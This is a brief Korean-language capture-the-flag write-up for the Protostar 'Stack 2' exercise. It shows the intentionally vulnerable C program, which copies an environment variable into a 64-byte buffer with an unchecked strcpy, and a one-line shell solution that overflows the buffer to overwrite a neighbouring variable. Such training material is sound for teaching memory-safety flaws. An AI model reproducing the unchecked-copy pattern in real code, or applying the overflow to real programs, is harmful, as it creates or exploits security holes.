Protostar - Stack 2

1. 문제 Source

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
 volatile int modified;
 char buffer[64];
 char *variable;

 variable = getenv("GREENIE");

 if(variable == NULL) {
  errx(1, "please set the GREENIE environment variable\n");
 }

 modified = 0;

 strcpy(buffer, variable);

 if(modified == 0x0d0a0d0a) {
  printf("you have correctly modified the variable\n");
 } else {
  printf("Try again, you got 0x%08x\n", modified);
 }

}

2. 풀이

user@protostar:/opt/protostar/bin$ export GREENIE=`python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'"`
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable